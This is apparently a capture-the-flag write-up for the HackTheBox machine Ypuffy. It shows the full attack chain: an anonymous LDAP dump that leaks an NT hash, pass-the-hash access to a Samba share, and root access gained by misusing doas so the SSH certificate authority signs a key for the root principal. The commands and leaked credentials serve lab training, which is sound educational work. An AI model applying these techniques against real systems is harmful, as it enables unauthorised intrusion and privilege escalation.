TL;DR
An NT hash exposed through LDAP
allowed authentication to a samba share with a pass the hash attack. The share contained a ssh private key that could be used to log in as alice1978
. Through doas
(the OpenBSD equivalent of sudo
) Alice can run ssh-keygen
as the user certificate authority. Combining this fact with knowing the root user's principal we can create a ssh key as Alice and then sign it with the certificate authority allowing us to simply ssh into the root user.
User
As ever a Nmap
scan comes first.
# Nmap 7.70 scan initiated Wed Oct 17 10:14:38 2018 as: nmap -sV -sS -sC -o nmap.txt 10.10.10.107
Nmap scan report for 10.10.10.107
Host is up (0.080s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
|_tomcat-scan: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY
Host script results:
|_clock-skew: mean: 1h19m57s, deviation: 2h18m37s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2018-10-17T10:15:03-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2018-10-17 10:15:03
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 17 10:15:22 2018 -- 1 IP address (1 host up) scanned in 43.49 seconds
This scan reveals 5 open ports:
22/tcp
- ssh - This suggests we will be able to obtain access to the box via the secure shell protocol at some point and as such we will be looking to obtain credentials for authentication.80/tcp
- http - There is anOpenBSD httpd
server running on this port however it doesn't respond to requests from a browser.139/tcp
and445/tcp
- NetBIOS - Anonymous login is not allowed so we will need credentials to enumerate further.389/tcp
- ldap - Nmap has detectedAnonymous bind
is allowed and this suggests thatldap
is likely the starting point for this box.
ldap
As previously identified the ldap
service has been configured to allow anonymous binds meaning anyone can connect and query potentially sensitive information about the system. To do this we can use the ldap-search
Nmap script.
nmap -p 389 --script ldap-search 10.10.10.107
Nmap scan report for 10.10.10.107
Host is up (0.047s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=hackthebox,dc=htb
| dn: dc=hackthebox,dc=htb
| dc: hackthebox
| objectClass: top
| objectClass: domain
| dn: ou=passwd,dc=hackthebox,dc=htb
| ou: passwd
| objectClass: top
| objectClass: organizationalUnit
| dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
| uid: bob8791
| cn: Bob
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| userPassword: {BSDAUTH}bob8791
| uidNumber: 5001
| gidNumber: 5001
| gecos: Bob
| homeDirectory: /home/bob8791
| loginShell: /bin/ksh
| dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
| uid: alice1978
| cn: Alice
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| objectClass: sambaSamAccount
| userPassword: {BSDAUTH}alice1978
| uidNumber: 5000
| gidNumber: 5000
| gecos: Alice
| homeDirectory: /home/alice1978
| loginShell: /bin/ksh
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
| displayName: Alice
| sambaAcctFlags: [U ]
| sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
| sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
| sambaPwdLastSet: 1532916644
| dn: ou=group,dc=hackthebox,dc=htb
| ou: group
| objectClass: top
| objectClass: organizationalUnit
| dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: bob8791
| userPassword: {crypt}*
| gidNumber: 5001
| dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: alice1978
| userPassword: {crypt}*
| gidNumber: 5000
| dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
| sambaDomainName: YPUFFY
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464
| sambaAlgorithmicRidBase: 1000
| objectclass: sambaDomain
| sambaNextUserRid: 1000
| sambaMinPwdLength: 5
| sambaPwdHistoryLength: 0
| sambaLogonToChgPwd: 0
| sambaMaxPwdAge: -1
| sambaMinPwdAge: 0
| sambaLockoutDuration: 30
| sambaLockoutObservationWindow: 30
| sambaLockoutThreshold: 0
| sambaForceLogoff: -1
| sambaRefuseMachinePwdChange: 0
|_ sambaNextRid: 1001
Nmap done: 1 IP address (1 host up) scanned in 3.03 seconds
As expected this provides us with some sensitive information. Most importantly that we a NT hash
for user alice1978
.
Passing the Hash
Now we could go about cracking the hash locally using a tool like Hashcat
but due to the fact that the smb
protocol falls victim to pass the hash style attacks, clients can be modified to authenticate with hashes without requiring the associated plain text password in essence making the hash the password defeating the purpose of a hash outright. As such we can use this hash and the smbclient
command to authenticate with the server as user alice1978
.
Once authenticated we can list the shares with the following command specifying the password as the obtained NT hash when prompted. The --pw-nt-hash
option specifies that we intend to use a hash instead of a password to authenticate and -L
lists the shares.
smbclient --pw-nt-hash -U alice1978 -L 10.10.10.107
Enter WORKGROUP\alice1978's password:
Sharename Type Comment
--------- ---- -------
alice Disk Alice's Windows Directory
IPC$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
Next, we connect to the alice
share with the following command again specifying the password as the NT hash.
smbclient --pw-nt-hash -U alice1978 //10.10.10.107/alice
Enter WORKGROUP\alice1978's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Jul 31 03:54:20 2018
.. D 0 Wed Jan 16 22:05:26 2019
my_private_key.ppk A 1460 Tue Jul 17 02:38:51 2018
433262 blocks of size 1024. 411530 blocks available
smb: \> get my_private_key.ppk
getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (1.2 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \>
After using the ls
command to list the contents of the current file we see there is a file named my_private_key.ppk
this is likely to allow us to ssh into the box so we download it with get my_private_key.ppk
.
Upon closer inspection, the file is a private key however it is in the putty format and as such can't be used with the OpenSSH
installed in my environment. This issue can be fixed by either using putty to connect to the server or by converting the key to the OpenSSH format. This is done with the following command. Where -O
is the output format and -o
is the output file.puttygen my_private_key.ppk -O private-openssh -o id_rsa_alice
Now we can open a connection to the server over ssh with the private key. The user.txt
flag is in Alice's home directory as we would expect.
Root
As we can see from the banner displayed when we connect with ssh the box is running OpenBSD 6.3
this means that it doesn't have sudo
and instead has doas
(the OpenBSD equivalent). By checking the contents of the /etc/doas.conf
file we can see how doas
is configured.
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy$ cat /etc/doas.conf
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
ypuffy$
From this, we can see that the user alice1978
can run ssh-keygen
as userca
.
Web Server
Remember the web server? No, well there was a web server that wouldn't respond to our requests. Looking at the /var/www/logs/access.log
file we can see the only successful requests are the two below. It should be noted that the web server only responds to requests from the localhost
so this explains why we received no response when we tried to connect from our client.
ypuffy.hackthebox.htb 127.0.0.1 - - [16/Jan/2019:14:19:07 -0500] "GET /sshauth?type=keys%26username=alice1978 HTTP/1.1" 200 0
ypuffy$ curl 'http://localhost/sshauth?type=keys&username=alice1978'
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716
ypuffy.hackthebox.htb 127.0.0.1 - - [16/Jan/2019:17:58:43 -0500] "GET /sshauth?type=principals%26username=root HTTP/1.1" 200 0
ypuffy$ curl 'http://localhost/sshauth?type=principals&username=root'
3m3rgencyB4ckd00r
From this, we obtain some form of rsa key
relating to alice1978
and the root principal 3m3rgencyB4ckd00r
.
ssh-keygen
At this point, it is clear from the things we have found that we are going to need to use ssh-keygen
to obtain root. Looking at the man page for ssh-keygen
there is only one example usage that involves a principal.
ssh-keygen -s ca_key -I certificate_identity [-h] [-U] [-D pkcs11_provider] [-n principals] [-O option] [-V validity_interval] [-z serial_number] file
Breaking this down:
- We don't want a host certificate (we want a user certificate) so we don't need
-h
- The
ca_key
isn't stored in thessh-agent
so we don't need-U
- The
ca_key
isn't stored in aPKCS#11 token
so we also don't need-D
- We don't need any additional certificate options so
-O
can be ignored - Seen as we are attacking this box we don't need to consider certificate expiry as such
-V
can be ignored - Finally the default serial number is
0
this is sufficient for our needs so we can also ignore-z
Putting in the information we know leaves us with ssh-keygen -s ca_key -I alice1978 -n 3m3rgencyB4ckd00r file
However, before we can run this we need to:
- Generate the key pair for
alice1978
which will be signed. This is done withssh-keygen -f /tmp/alicesshkey
- Locate the
ca_key
file. This likely to be in the files ofuserca
if we navigate there we see a file namedca
this is what we need.
Leaving us with ssh-keygen -s /home/userca/ca -I alice1978 -n 3m3rgencyB4ckd00r /tmp/alicesshkey
We can now use doas
combined with the above command to sign the created key pair as userca
.
ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I alice1978 -n 3m3rgencyB4ckd00r /tmp/alicesshkey
Signed user key alicesshkey-cert.pub: id "alice1978" serial 0 for 3m3rgencyB4ckd00r valid forever
Now that we have the signed key we can simply ssh into the root user with said signed key.